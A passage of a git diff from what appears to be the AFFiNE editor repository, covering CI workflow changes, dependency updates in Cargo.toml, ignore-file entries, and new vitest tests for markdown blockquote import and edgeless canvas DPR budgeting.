-        uses: dtolnay/rust-toolchain@stable
-        with:
-          toolchain: nightly
-          components: miri
-      - name: Install latest nextest release
-        uses: taiki-e/install-action@v2
-        with:
-          tool: nextest@0.9.98
-
-      - name: Miri Code Check
-        continue-on-error: true
-        run: |
-          cargo +nightly miri nextest run -p y-octo -j4
-
-  loom:
-    name: loom thread test
-    if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
-    runs-on: ubuntu-latest
-    needs:
-      - rust-test-filter
-    env:
-      RUSTFLAGS: --cfg loom
-      RUST_BACKTRACE: full
-      CARGO_TERM_COLOR: always
-    steps:
-      - uses: actions/checkout@v6
-
-      - name: Setup Rust
-        uses: dtolnay/rust-toolchain@stable
-        with:
-          toolchain: stable
-      - name: Install latest nextest release
-        uses: taiki-e/install-action@v2
-        with:
-          tool: nextest@0.9.98
-
-      - name: Loom Thread Test
-        run: |
-          cargo nextest run -p y-octo --lib
-
-  fuzzing:
-    name: fuzzing
-    if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
-    runs-on: ubuntu-latest
-    needs:
-      - rust-test-filter
-    env:
-      CARGO_TERM_COLOR: always
-    steps:
-      - uses: actions/checkout@v6
-
-      - name: Setup Rust
-        uses: dtolnay/rust-toolchain@stable
-        with:
-          toolchain: nightly
-
-      - name: fuzzing
-        working-directory: ./packages/common/y-octo/utils
-        run: |
-          cargo install cargo-fuzz
-          cargo +nightly fuzz run apply_update -- -max_total_time=30
-          cargo +nightly fuzz run codec_doc_any_struct -- -max_total_time=30
-          cargo +nightly fuzz run codec_doc_any -- -max_total_time=30
-          cargo +nightly fuzz run decode_bytes -- -max_total_time=30
-          cargo +nightly fuzz run i32_decode -- -max_total_time=30
-          cargo +nightly fuzz run i32_encode -- -max_total_time=30
-          cargo +nightly fuzz run ins_del_text -- -max_total_time=30
-          cargo +nightly fuzz run sync_message -- -max_total_time=30
-          cargo +nightly fuzz run u64_decode -- -max_total_time=30
-          cargo +nightly fuzz run u64_encode -- -max_total_time=30
-          cargo +nightly fuzz run apply_update -- -max_total_time=30
-
-      - name: upload fuzz artifacts
-        if: ${{ failure() }}
-        uses: actions/upload-artifact@v4
-        with:
-          name: fuzz-artifact
-          path: packages/common/y-octo/utils/fuzz/artifacts/**/*
-
   rust-test:
     name: Run native tests
     if: ${{ needs.rust-test-filter.outputs.run-rust == 'true' }}
@@ -1328,6 +1388,9 @@ jobs:
       - analyze
       - lint
       - typecheck
+      - mobile-native-build-filter
+      - build-android-app
+      - build-ios-app
       - lint-rust
       - check-git-status
       - check-yarn-binary
@@ -1342,9 +1405,6 @@ jobs:
       - build-server-native
       - build-electron-renderer
       - native-unit-test
-      - miri
-      - loom
-      - fuzzing
       - server-test
       - server-e2e-test
       - rust-test

.github/workflows/release-desktop-platform.yml

@@ -101,7 +101,7 @@ jobs:
 
       - name: Signing By Apple Developer ID
         if: ${{ inputs.platform == 'darwin' && inputs.apple_codesign }}
-        uses: apple-actions/import-codesign-certs@v6
+        uses: apple-actions/import-codesign-certs@v7
         with:
           p12-file-base64: ${{ secrets.CERTIFICATES_P12 }}
           p12-password: ${{ secrets.CERTIFICATES_P12_PASSWORD }}

.github/workflows/release-mobile.yml

@@ -114,7 +114,7 @@ jobs:
       - name: Cap sync
         run: yarn workspace @affine/ios sync
       - name: Signing By Apple Developer ID
-        uses: apple-actions/import-codesign-certs@v6
+        uses: apple-actions/import-codesign-certs@v7
         id: import-codesign-certs
         with:
           p12-file-base64: ${{ secrets.CERTIFICATES_P12_MOBILE }}

.github/workflows/release.yml

@@ -72,7 +72,7 @@ jobs:
     steps:
       - name: Decide whether to release
         id: decide
-        uses: actions/github-script@v8
+        uses: actions/github-script@v9
         with:
           script: |
             const buildType = '${{ needs.prepare.outputs.BUILD_TYPE }}'

.gitignore

@@ -6,6 +6,7 @@
 !.yarn/releases
 !.yarn/sdks
 .yarn/versions
+.corepack-bin
 
 # compiled output
 *dist
@@ -49,6 +50,8 @@ testem.log
 tsconfig.tsbuildinfo
 .context
 /*.md
+.codex
+.cursor
 
 # System Files
 .DS_Store
@@ -93,3 +96,9 @@ af.cmd
 
 # playwright
 storageState.json
+/.understand-anything
+
+# local test/browser artifacts
+/.playwright-browsers/
+**/.vitest-attachments/
+/blocksuite/framework/std/src/__tests__/gfx/__screenshots__/

.oxlintrc.json

@@ -24,6 +24,7 @@
     ".git",
     ".vscode",
     ".context",
+    ".codex",
     ".yarnrc.yml",
     ".docker",
     "**/.storybook",

.prettierignore

@@ -5,6 +5,7 @@
 .git
 .vscode
 .context
+.codex
 .yarnrc.yml
 .docker
 **/.storybook

Cargo.toml

@@ -2,8 +2,6 @@
 members = [
   "./packages/backend/native",
   "./packages/common/native",
-  "./packages/common/y-octo/core",
-  "./packages/common/y-octo/utils",
   "./packages/frontend/mobile-native",
   "./packages/frontend/native",
   "./packages/frontend/native/nbstore",
@@ -23,7 +21,6 @@ resolver = "3"
   anyhow = "1"
   arbitrary = { version = "1.3", features = ["derive"] }
   assert-json-diff = "2.0"
-  async-lock = { version = "3.4.0", features = ["loom"] }
   base64-simd = "0.8"
   bitvec = "1.0"
   block2 = "0.6"
@@ -37,7 +34,7 @@ resolver = "3"
   criterion2 = { version = "3", default-features = false }
   crossbeam-channel = "0.5"
   dispatch2 = "0.3"
-  docx-parser = { git = "https://github.com/toeverything/docx-parser", rev = "380beea" }
+  doc_extractor = "0.1.0"
   dotenvy = "0.15"
   file-format = { version = "0.28", features = ["reader"] }
   hex = "0.4"
@@ -58,7 +55,6 @@ resolver = "3"
   llm_adapter = { version = "0.2", default-features = false }
   llm_runtime = { version = "0.2", default-features = false }
   log = "0.4"
-  loom = { version = "0.7", features = ["checkpoint"] }
   lru = "0.16"
   matroska = "0.30"
   memory-indexer = "0.3.1"
@@ -84,8 +80,6 @@ resolver = "3"
   ordered-float = "5"
   p256 = { version = "0.13", features = ["ecdsa", "pem"] }
   parking_lot = "0.12"
-  path-ext = "0.1.2"
-  pdf-extract = { git = "https://github.com/toeverything/pdf-extract", branch = "darksky/improve-font-decoding" }
   phf = { version = "0.11", features = ["macros"] }
   proptest = "1.3"
   proptest-derive = "0.5"
@@ -94,9 +88,9 @@ resolver = "3"
   rand_chacha = "0.9"
   rand_distr = "0.5"
   rayon = "1.10"
-  readability = { version = "0.3.0", default-features = false }
   regex = "1.10"
   rubato = "0.16"
+  safefetch = "0.1.0"
   schemars = "0.8"
   screencapturekit = "0.3"
   serde = "1"
@@ -111,24 +105,10 @@ resolver = "3"
     "runtime-tokio",
     "sqlite",
   ] }
-  strum_macros = "0.27.0"
   symphonia = { version = "0.5", features = ["all", "opt-simd"] }
-  text-splitter = "0.27"
   thiserror = "2"
   tiktoken-rs = "0.7"
   tokio = "1.45"
-  tree-sitter = { version = "0.25" }
-  tree-sitter-c = { version = "0.24" }
-  tree-sitter-c-sharp = { version = "0.23" }
-  tree-sitter-cpp = { version = "0.23" }
-  tree-sitter-go = { version = "0.23" }
-  tree-sitter-java = { version = "0.23" }
-  tree-sitter-javascript = { version = "0.23" }
-  tree-sitter-kotlin-ng = { version = "1.1" }
-  tree-sitter-python = { version = "0.23" }
-  tree-sitter-rust = { version = "0.24" }
-  tree-sitter-scala = { version = "0.24" }
-  tree-sitter-typescript = { version = "0.23" }
   typst = "0.14.2"
   typst-as-lib = { version = "0.15.4", default-features = false, features = [
     "packages",
@@ -154,7 +134,7 @@ resolver = "3"
     "Win32_UI_Shell_PropertiesSystem",
   ] }
   windows-core = { version = "0.61" }
-  y-octo = { path = "./packages/common/y-octo/core" }
+  y-octo = "0.0.3"
   y-sync = { version = "0.4" }
   yrs = "0.23.0"
 

blocksuite/affine/all/package.json

@@ -299,6 +299,6 @@
   "devDependencies": {
     "@vanilla-extract/vite-plugin": "^5.0.0",
     "msw": "^2.13.2",
-    "vitest": "^4.0.18"
+    "vitest": "^4.1.8"
   }
 }

blocksuite/affine/all/src/__tests__/adapters/markdown.unit.spec.ts

@@ -270,6 +270,54 @@ Hello world
     expect(meta?.tags).toEqual(['a', 'b']);
   });
 
+  test('preserves list text inside blockquotes without list blocks', async () => {
+    const markdown = `> **Shopping List:**
+> - Apples
+> - Bananas
+> - Oranges
+`;
+    const mdAdapter = new MarkdownAdapter(createJob(), provider);
+    const snapshot = await mdAdapter.toDocSnapshot({
+      file: markdown,
+      assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
+    });
+
+    expect(simplifyBlockForSnapshot(snapshot.blocks, new Map())).toMatchObject({
+      children: [
+        {
+          flavour: 'affine:note',
+          children: [
+            {
+              flavour: 'affine:paragraph',
+              type: 'quote',
+              delta: [
+                { insert: 'Shopping List:' },
+                { insert: '\n' },
+                { insert: '- ' },
+                { insert: 'Apples' },
+                { insert: '\n' },
+                { insert: '- ' },
+                { insert: 'Bananas' },
+                { insert: '\n' },
+                { insert: '- ' },
+                { insert: 'Oranges' },
+              ],
+            },
+          ],
+        },
+      ],
+    });
+
+    const exported = await mdAdapter.fromDocSnapshot({
+      snapshot,
+      assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
+    });
+    expect(exported.file).toContain('> **Shopping List:**');
+    expect(exported.file).toContain('> \\- Apples');
+    expect(exported.file).toContain('> \\- Bananas');
+    expect(exported.file).toContain('> \\- Oranges');
+  });
+
   test('imports obsidian vault fixtures', async () => {
     const schema = new Schema().register(AffineSchemas);
     const collection = new TestWorkspace();

blocksuite/affine/all/src/__tests__/gfx/canvas-budget.unit.spec.ts

@@ -0,0 +1,770 @@
+import { Bound } from '@blocksuite/global/gfx';
+import { Viewport, viewportRuntimeConfig } from '@blocksuite/std/gfx';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+
+import * as viewportModule from '../../../../../framework/std/src/gfx/viewport.js';
+import * as viewportElementModule from '../../../../../framework/std/src/gfx/viewport-element.js';
+import * as canvasRendererModule from '../../../../blocks/surface/src/renderer/canvas-renderer.js';
+import {
+  paintPlaceholder,
+  syncCanvasSize,
+} from '../../../../gfx/turbo-renderer/src/renderer-utils.js';
+import type { ViewportLayoutTree } from '../../../../gfx/turbo-renderer/src/types.js';
+
+const originalCaps = [...viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM];
+const originalDevicePixelRatio = Object.getOwnPropertyDescriptor(
+  window,
+  'devicePixelRatio'
+);
+
+function setDevicePixelRatio(value: number) {
+  Object.defineProperty(window, 'devicePixelRatio', {
+    configurable: true,
+    value,
+  });
+}
+
+function createRect(width: number, height: number): DOMRect {
+  return {
+    width,
+    height,
+    left: 0,
+    top: 0,
+    right: width,
+    bottom: height,
+    x: 0,
+    y: 0,
+    toJSON: () => ({}),
+  } as DOMRect;
+}
+
+function createFakeBlockModel(
+  id: string,
+  x: number,
+  y: number,
+  w = 10,
+  h = 10
+) {
+  return {
+    id,
+    elementBound: new Bound(x, y, w, h),
+  };
+}
+
+type PaintPlaceholderForTest = (
+  canvas: HTMLCanvasElement,
+  layout: ViewportLayoutTree,
+  viewport: {
+    zoom: number;
+    toViewCoord: (x: number, y: number) => [number, number];
+  }
+) => void;
+
+afterEach(() => {
+  viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [...originalCaps];
+
+  if (originalDevicePixelRatio) {
+    Object.defineProperty(window, 'devicePixelRatio', originalDevicePixelRatio);
+  }
+
+  vi.restoreAllMocks();
+});
+
+describe('edgeless canvas budget', () => {
+  test('requests canvas budget sync when zoom crosses an effective dpr bucket', () => {
+    viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+      [0.5, 1],
+      [0.8, 2],
+    ];
+
+    expect(
+      'shouldSyncCanvasBudgetOnViewportUpdate' in canvasRendererModule
+    ).toBe(true);
+
+    const shouldSyncCanvasBudgetOnViewportUpdate = (
+      canvasRendererModule as {
+        shouldSyncCanvasBudgetOnViewportUpdate: (
+          previousZoom: number,
+          nextZoom: number,
+          rawDpr?: number
+        ) => boolean;
+      }
+    ).shouldSyncCanvasBudgetOnViewportUpdate;
+
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 2)).toBe(true);
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.75, 2)).toBe(false);
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.45, 0.4, 2)).toBe(false);
+    expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 1)).toBe(false);
+  });
+
+  test('enables low-zoom survival mode only for active iOS gestures', () => {
+    expect('shouldUseLowZoomSurvivalMode' in canvasRendererModule).toBe(true);
+
+    const shouldUseLowZoomSurvivalMode = (
+      canvasRendererModule as {
+        shouldUseLowZoomSurvivalMode: (
+          isIOS: boolean,
+          zoom: number,
+          gestureActive: boolean
+        ) => boolean;
+      }
+    ).shouldUseLowZoomSurvivalMode;
+
+    expect(shouldUseLowZoomSurvivalMode(true, 0.4, true)).toBe(true);
+    expect(shouldUseLowZoomSurvivalMode(true, 0.6, true)).toBe(false);
+    expect(shouldUseLowZoomSurvivalMode(true, 0.4, false)).toBe(false);
+    expect(shouldUseLowZoomSurvivalMode(false, 0.4, true)).toBe(false);
+  });
+
+  test('does not enable canvas placeholders for low-zoom panning without zooming', () => {
+    expect('shouldRenderCanvasPlaceholders' in canvasRendererModule).toBe(true);
+
+    const shouldRenderCanvasPlaceholders = (
+      canvasRendererModule as {
+        shouldRenderCanvasPlaceholders: (params: {
+          isIOS: boolean;
+          zoom: number;
+          isPanning: boolean;
+          isZooming: boolean;
+          skipRefreshDuringGesture: boolean;
+          turboEnabled: boolean;
+        }) => boolean;
+      }
+    ).shouldRenderCanvasPlaceholders;
+
+    expect(
+      shouldRenderCanvasPlaceholders({
+        isIOS: true,
+        zoom: 0.4,
+        isPanning: true,
+        isZooming: false,
+        skipRefreshDuringGesture: true,
+        turboEnabled: true,
+      })
+    ).toBe(false);
+
+    expect(
+      shouldRenderCanvasPlaceholders({
+        isIOS: true,
+        zoom: 0.4,
+        isPanning: false,
+        isZooming: true,
+        skipRefreshDuringGesture: true,
+        turboEnabled: true,
+      })
+    ).toBe(true);
+  });
+
+  test('shares one bypass decision for placeholder and render paths only during the low-zoom iOS landscape gesture or recovery window', () => {
+    expect('getStackingCanvasBypassState' in canvasRendererModule).toBe(true);
+    expect(
+      'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
+    ).toBe(true);
+
+    const getStackingCanvasBypassState = (
+      canvasRendererModule as {
+        getStackingCanvasBypassState: (params: {
+          isIOS: boolean;
+          zoom: number;
+          gestureActive: boolean;
+          recoveryActive: boolean;
+          viewportWidth: number;
+          viewportHeight: number;
+        }) => boolean;
+      }
+    ).getStackingCanvasBypassState;
+    const shouldBypassStackingCanvasesDuringLowZoomGesture = (
+      canvasRendererModule as {
+        shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
+          isIOS: boolean;
+          zoom: number;
+          gestureActive: boolean;
+          recoveryActive: boolean;
+          viewportWidth: number;
+          viewportHeight: number;
+        }) => boolean;
+      }
+    ).shouldBypassStackingCanvasesDuringLowZoomGesture;
+
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(true);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: false,
+        recoveryActive: true,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(true);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: false,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+    expect(
+      shouldBypassStackingCanvasesDuringLowZoomGesture({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: false,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.4,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 430,
+        viewportHeight: 932,
+      })
+    ).toBe(false);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: true,
+        zoom: 0.6,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+    expect(
+      getStackingCanvasBypassState({
+        isIOS: false,
+        zoom: 0.4,
+        gestureActive: true,
+        recoveryActive: false,
+        viewportWidth: 932,
+        viewportHeight: 430,
+      })
+    ).toBe(false);
+  });
+
+  test('gesture low-zoom landscape bypass detaches stacking canvases through the existing attachment path', () => {
+    expect(
+      'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
+    ).toBe(true);
+    expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
+      true
+    );
+
+    const shouldBypassStackingCanvasesDuringLowZoomGesture = (
+      canvasRendererModule as {
+        shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
+          isIOS: boolean;
+          zoom: number;
+          gestureActive: boolean;
+          recoveryActive: boolean;
+          viewportWidth: number;
+          viewportHeight: number;
+        }) => boolean;
+      }
+    ).shouldBypassStackingCanvasesDuringLowZoomGesture;
+    const getStackingCanvasAttachmentDiff = (
+      canvasRendererModule as {
+        getStackingCanvasAttachmentDiff: (params: {
+          canvases: HTMLCanvasElement[];
+          wasAttached: boolean;
+          shouldAttach: boolean;
+        }) => {
+          added: HTMLCanvasElement[];
+          removed: HTMLCanvasElement[];
+        };
+      }
+    ).getStackingCanvasAttachmentDiff;
+
+    const canvases = [document.createElement('canvas')];
+    const shouldBypass = shouldBypassStackingCanvasesDuringLowZoomGesture({
+      isIOS: true,
+      zoom: 0.4,
+      gestureActive: true,
+      recoveryActive: false,
+      viewportWidth: 932,
+      viewportHeight: 430,
+    });
+
+    expect(shouldBypass).toBe(true);
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: true,
+        shouldAttach: !shouldBypass,
+      })
+    ).toEqual({
+      added: [],
+      removed: canvases,
+    });
+  });
+
+  test('uses overscan for main-canvas fallback culling and render origin', () => {
+    expect('getMainCanvasFallbackBounds' in canvasRendererModule).toBe(true);
+
+    const getMainCanvasFallbackBounds = (
+      canvasRendererModule as {
+        getMainCanvasFallbackBounds: (params: {
+          viewportBounds: Bound;
+          overscanViewportBounds: Bound;
+        }) => {
+          cullBound: Bound;
+          renderBound: Bound;
+        };
+      }
+    ).getMainCanvasFallbackBounds;
+
+    const viewportBounds = new Bound(100, 200, 300, 150);
+    const overscanViewportBounds = new Bound(40, 170, 420, 210);
+
+    expect(
+      getMainCanvasFallbackBounds({
+        viewportBounds,
+        overscanViewportBounds,
+      })
+    ).toEqual({
+      cullBound: overscanViewportBounds,
+      renderBound: overscanViewportBounds,
+    });
+  });
+
+  test('lays out overscan canvases relative to the exact viewport', () => {
+    expect('getCanvasViewportLayout' in canvasRendererModule).toBe(true);
+
+    const getCanvasViewportLayout = (
+      canvasRendererModule as {
+        getCanvasViewportLayout: (params: {
+          bound: Bound;
+          viewportBounds: Bound;
+          zoom: number;
+          viewScale: number;
+          dpr: number;
+        }) => {
+          actualHeight: number;
+          actualWidth: number;
+          height: number;
+          transform: string;
+          width: number;
+        };
+      }
+    ).getCanvasViewportLayout;
+
+    expect(
+      getCanvasViewportLayout({
+        bound: new Bound(40, 170, 420, 210),
+        viewportBounds: new Bound(100, 200, 300, 150),
+        zoom: 1,
+        viewScale: 1,
+        dpr: 2,
+      })
+    ).toEqual({
+      actualHeight: 420,
+      actualWidth: 840,
+      height: 210,
+      transform: 'translate(-60px, -30px) scale(1)',
+      width: 420,
+    });
+  });
+
+  test('computes stacking canvas DOM attachment diffs when bypass toggles', () => {
+    expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
+      true
+    );
+
+    const getStackingCanvasAttachmentDiff = (
+      canvasRendererModule as {
+        getStackingCanvasAttachmentDiff: (params: {
+          canvases: HTMLCanvasElement[];
+          wasAttached: boolean;
+          shouldAttach: boolean;
+        }) => {
+          added: HTMLCanvasElement[];
+          removed: HTMLCanvasElement[];
+        };
+      }
+    ).getStackingCanvasAttachmentDiff;
+
+    const canvasA = document.createElement('canvas');
+    const canvasB = document.createElement('canvas');
+    const canvases = [canvasA, canvasB];
+
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: true,
+        shouldAttach: false,
+      })
+    ).toEqual({
+      added: [],
+      removed: canvases,
+    });
+
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: false,
+        shouldAttach: true,
+      })
+    ).toEqual({
+      added: canvases,
+      removed: [],
+    });
+
+    expect(
+      getStackingCanvasAttachmentDiff({
+        canvases,
+        wasAttached: true,
+        shouldAttach: true,
+      })
+    ).toEqual({
+      added: [],
+      removed: [],
+    });
+  });
+
+  test('emits a lightweight zoom signal during gesture-skipped zoom updates so canvas budgets can shrink', () => {
+    viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+      [0.5, 1],
+      [0.8, 2],
+    ];
+
+    const viewport = new Viewport();
+    viewport.SKIP_REFRESH_DURING_GESTURE = true;
+
+    const viewportUpdated = vi.fn();
+    const zoomUpdates: Array<{ previousZoom: number; zoom: number }> = [];
+    let lastCanvasBudgetZoom = viewport.zoom;
+    let budgetSyncCount = 0;
+
+    viewport.viewportUpdated.subscribe(viewportUpdated);
+
+    expect('zoomUpdated' in viewport).toBe(true);
+    const zoomUpdated = (
+      viewport as unknown as {
+        zoomUpdated: {
+          subscribe: (
+            callback: (update: { previousZoom: number; zoom: number }) => void
+          ) => void;
+        };
+      }
+    ).zoomUpdated;
+
+    zoomUpdated.subscribe(update => {
+      zoomUpdates.push(update);
+      if (
+        (
+          canvasRendererModule as {
+            shouldSyncCanvasBudgetOnViewportUpdate: (
+              previousZoom: number,
+              nextZoom: number,
+              rawDpr?: number
+            ) => boolean;
+          }
+        ).shouldSyncCanvasBudgetOnViewportUpdate(
+          lastCanvasBudgetZoom,
+          update.zoom,
+          2
+        )
+      ) {
+        budgetSyncCount += 1;
+      }
+      lastCanvasBudgetZoom = update.zoom;
+    });
+
+    viewport.panning$.next(true);
+    viewport.setZoom(0.4, { x: 0, y: 0 }, false, false, true);
+
+    expect(viewportUpdated).not.toHaveBeenCalled();
+    expect(zoomUpdates).toEqual([{ previousZoom: 1, zoom: 0.4 }]);
+    expect(budgetSyncCount).toBe(1);
+
+    viewport.dispose();
+  });
+
+  test('keeps programmatic setZoom on the normal viewport update path in skip mode', () => {
+    const viewport = new Viewport();
+    viewport.SKIP_REFRESH_DURING_GESTURE = true;
+
+    const viewportUpdated = vi.fn();
+    const zoomUpdated = vi.fn();
+
+    viewport.viewportUpdated.subscribe(viewportUpdated);
+    viewport.zoomUpdated.subscribe(zoomUpdated);
+
+    viewport.setZoom(0.4, { x: 0, y: 0 });
+
+    expect(viewportUpdated).toHaveBeenCalledTimes(1);
+    expect(zoomUpdated).toHaveBeenCalledWith({ previousZoom: 1, zoom: 0.4 });
+    expect(viewport.panning$.value).toBe(false);
+    expect(viewport.zooming$.value).toBe(false);
+
+    viewport.dispose();
+  });
+
+  test('enables low-zoom block survival only while the gesture is still active', () => {
+    expect('shouldUseLowZoomBlockSurvivalMode' in viewportElementModule).toBe(
+      true
+    );
+
+    const shouldUseLowZoomBlockSurvivalMode = (
+      viewportElementModule as {
+        shouldUseLowZoomBlockSurvivalMode: (params: {
+          zoom: number;
+          skipRefreshDuringGesture: boolean;
+          gestureActive: boolean;
+        }) => boolean;
+      }
+    ).shouldUseLowZoomBlockSurvivalMode;
+
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.4,
+        skipRefreshDuringGesture: true,
+        gestureActive: true,
+      })
+    ).toBe(true);
+    expect(
+      shouldUseLowZoomBlockSurvivalMode({
+        zoom: 0.4,
+        skipRefreshDuringGesture: true,
+        gestureActive: false,
+      })
+    ).toBe(false);
+  });
+
+  test('keeps selected and one nearby viewport block active during low-zoom gesture survival', () => {
+    expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
+
+    const getLowZoomGestureActiveModels = (
+      viewportElementModule as {
+        getLowZoomGestureActiveModels: (params: {
+          selectedModels: Set<{ id: string; elementBound: Bound }>;
+          viewportModels: Set<{ id: string; elementBound: Bound }>;
+          viewportBounds: Bound;
+          nearbyActiveBlockLimit: number;
+          nearbyDistanceRatio: number;
+        }) => Set<{ id: string; elementBound: Bound }>;
+      }
+    ).getLowZoomGestureActiveModels;
+
+    const selected = createFakeBlockModel('selected', 10, 10);
+    const nearby = createFakeBlockModel('nearby', 28, 12);
+    const far = createFakeBlockModel('far', 78, 78);
+
+    const activeModels = getLowZoomGestureActiveModels({
+      selectedModels: new Set([selected]),
+      viewportModels: new Set([selected, nearby, far]),
+      viewportBounds: new Bound(0, 0, 100, 100),
+      nearbyActiveBlockLimit: 1,
+      nearbyDistanceRatio: 0.35,
+    });
+
+    expect([...activeModels].map(model => model.id).sort()).toEqual([
+      'nearby',
+      'selected',
+    ]);
+  });
+
+  test('falls back to the nearest viewport block when nothing is selected', () => {
+    expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
+
+    const getLowZoomGestureActiveModels = (
+      viewportElementModule as {
+        getLowZoomGestureActiveModels: (params: {
+          selectedModels: Set<{ id: string; elementBound: Bound }>;
+          viewportModels: Set<{ id: string; elementBound: Bound }>;
+          viewportBounds: Bound;
+          nearbyActiveBlockLimit: number;
+          nearbyDistanceRatio: number;
+        }) => Set<{ id: string; elementBound: Bound }>;
+      }
+    ).getLowZoomGestureActiveModels;
+
+    const nearest = createFakeBlockModel('nearest', 46, 46);
+    const farther = createFakeBlockModel('farther', 78, 78);
+
+    const activeModels = getLowZoomGestureActiveModels({
+      selectedModels: new Set(),
+      viewportModels: new Set([nearest, farther]),
+      viewportBounds: new Bound(0, 0, 100, 100),
+      nearbyActiveBlockLimit: 1,
+      nearbyDistanceRatio: 0.35,
+    });
+
+    expect([...activeModels].map(model => model.id)).toEqual(['nearest']);
+  });
+
+  test('starts post-gesture recovery immediately once gesture signals fully settle', () => {
+    expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
+
+    const getPostGestureRecoveryDelay = (
+      viewportModule as {
+        getPostGestureRecoveryDelay: (params: {
+          isPanning: boolean;
+          isZooming: boolean;
+          fallbackDelayMs: number;
+        }) => number;
+      }
+    ).getPostGestureRecoveryDelay;
+
+    expect(
+      getPostGestureRecoveryDelay({
+        isPanning: false,
+        isZooming: false,
+        fallbackDelayMs: 220,
+      })
+    ).toBe(0);
+  });
+
+  test('keeps fallback post-gesture delay while a gesture signal is still active', () => {
+    expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
+
+    const getPostGestureRecoveryDelay = (
+      viewportModule as {
+        getPostGestureRecoveryDelay: (params: {
+          isPanning: boolean;
+          isZooming: boolean;
+          fallbackDelayMs: number;
+        }) => number;
+      }
+    ).getPostGestureRecoveryDelay;
+
+    expect(
+      getPostGestureRecoveryDelay({
+        isPanning: true,
+        isZooming: false,
+        fallbackDelayMs: 220,
+      })
+    ).toBe(220);
+    expect(
+      getPostGestureRecoveryDelay({
+        isPanning: false,
+        isZooming: true,
+        fallbackDelayMs: 220,
+      })
+    ).toBe(220);
+  });
+
+  test('sizes turbo renderer canvas with effective dpr at low zoom', () => {
+    viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+      [0.5, 1],
+      [0.8, 2],
+    ];
+    setDevicePixelRatio(2);
+
+    const canvas = document.createElement('canvas');
+    const host = document.createElement('div');
+    vi.spyOn(host, 'getBoundingClientRect').mockReturnValue(
+      createRect(200, 100)
+    );
+
+    (
+      syncCanvasSize as unknown as (
+        canvas: HTMLCanvasElement,
+        host: HTMLElement,
+        zoom: number
+      ) => void
+    )(canvas, host, 0.4);
+
+    expect(canvas.width).toBe(200);
+    expect(canvas.height).toBe(100);
+
+    (
+      syncCanvasSize as unknown as (
+        canvas: HTMLCanvasElement,
+        host: HTMLElement,
+        zoom: number
+      ) => void
+    )(canvas, host, 0.95);
+
+    expect(canvas.width).toBe(400);
+    expect(canvas.height).toBe(200);
+  });
+
+  test('paints turbo placeholders with effective dpr at low zoom', () => {
+    const previousTheme = document.documentElement.dataset.theme;
+    document.documentElement.dataset.theme = 'light';
+
+    try {
+      viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
+        [0.5, 1],
+        [0.8, 2],
+      ];
+      setDevicePixelRatio(2);
+
+      const canvas = document.createElement('canvas');
+      const fillRect = vi.fn();
+      const strokeRect = vi.fn();
+      let fillStyle = '';
+      let strokeStyle = '';
+      vi.spyOn(canvas, 'getContext').mockReturnValue({
+        get fillStyle() {
+          return fillStyle;
+        },
+        set fillStyle(value: string) {
+          fillStyle = value;
+        },
+        get strokeStyle() {
+          return strokeStyle;
+        },
+        set strokeStyle(value: string) {
+          strokeStyle = value;
+        },
+        fillRect,
+        strokeRect,
+      } as unknown as CanvasRenderingContext2D);
+
+      const layout: ViewportLayoutTree = {
+        roots: [
+          {
+            blockId: 'root',
+            type: 'affine:page',
+            layout: {
+              blockId: 'root',
+              type: 'affine:page',
+              rect: { x: 0, y: 0, w: 50, h: 20 },
+            },
+            children: [],
+          },
+        ],
+        overallRect: { x: 0, y: 0, w: 50, h: 20 },
+      };
+
+      const paintPlaceholderForTest =
+        paintPlaceholder as unknown as PaintPlaceholderForTest;
+
+      paintPlaceholderForTest(canvas, layout, {
+        zoom: 0.4,
+        toViewCoord: () => [0, 0],
+      });
+
+      expect(fillStyle).toBe('rgba(0, 0, 0, 0.04)');
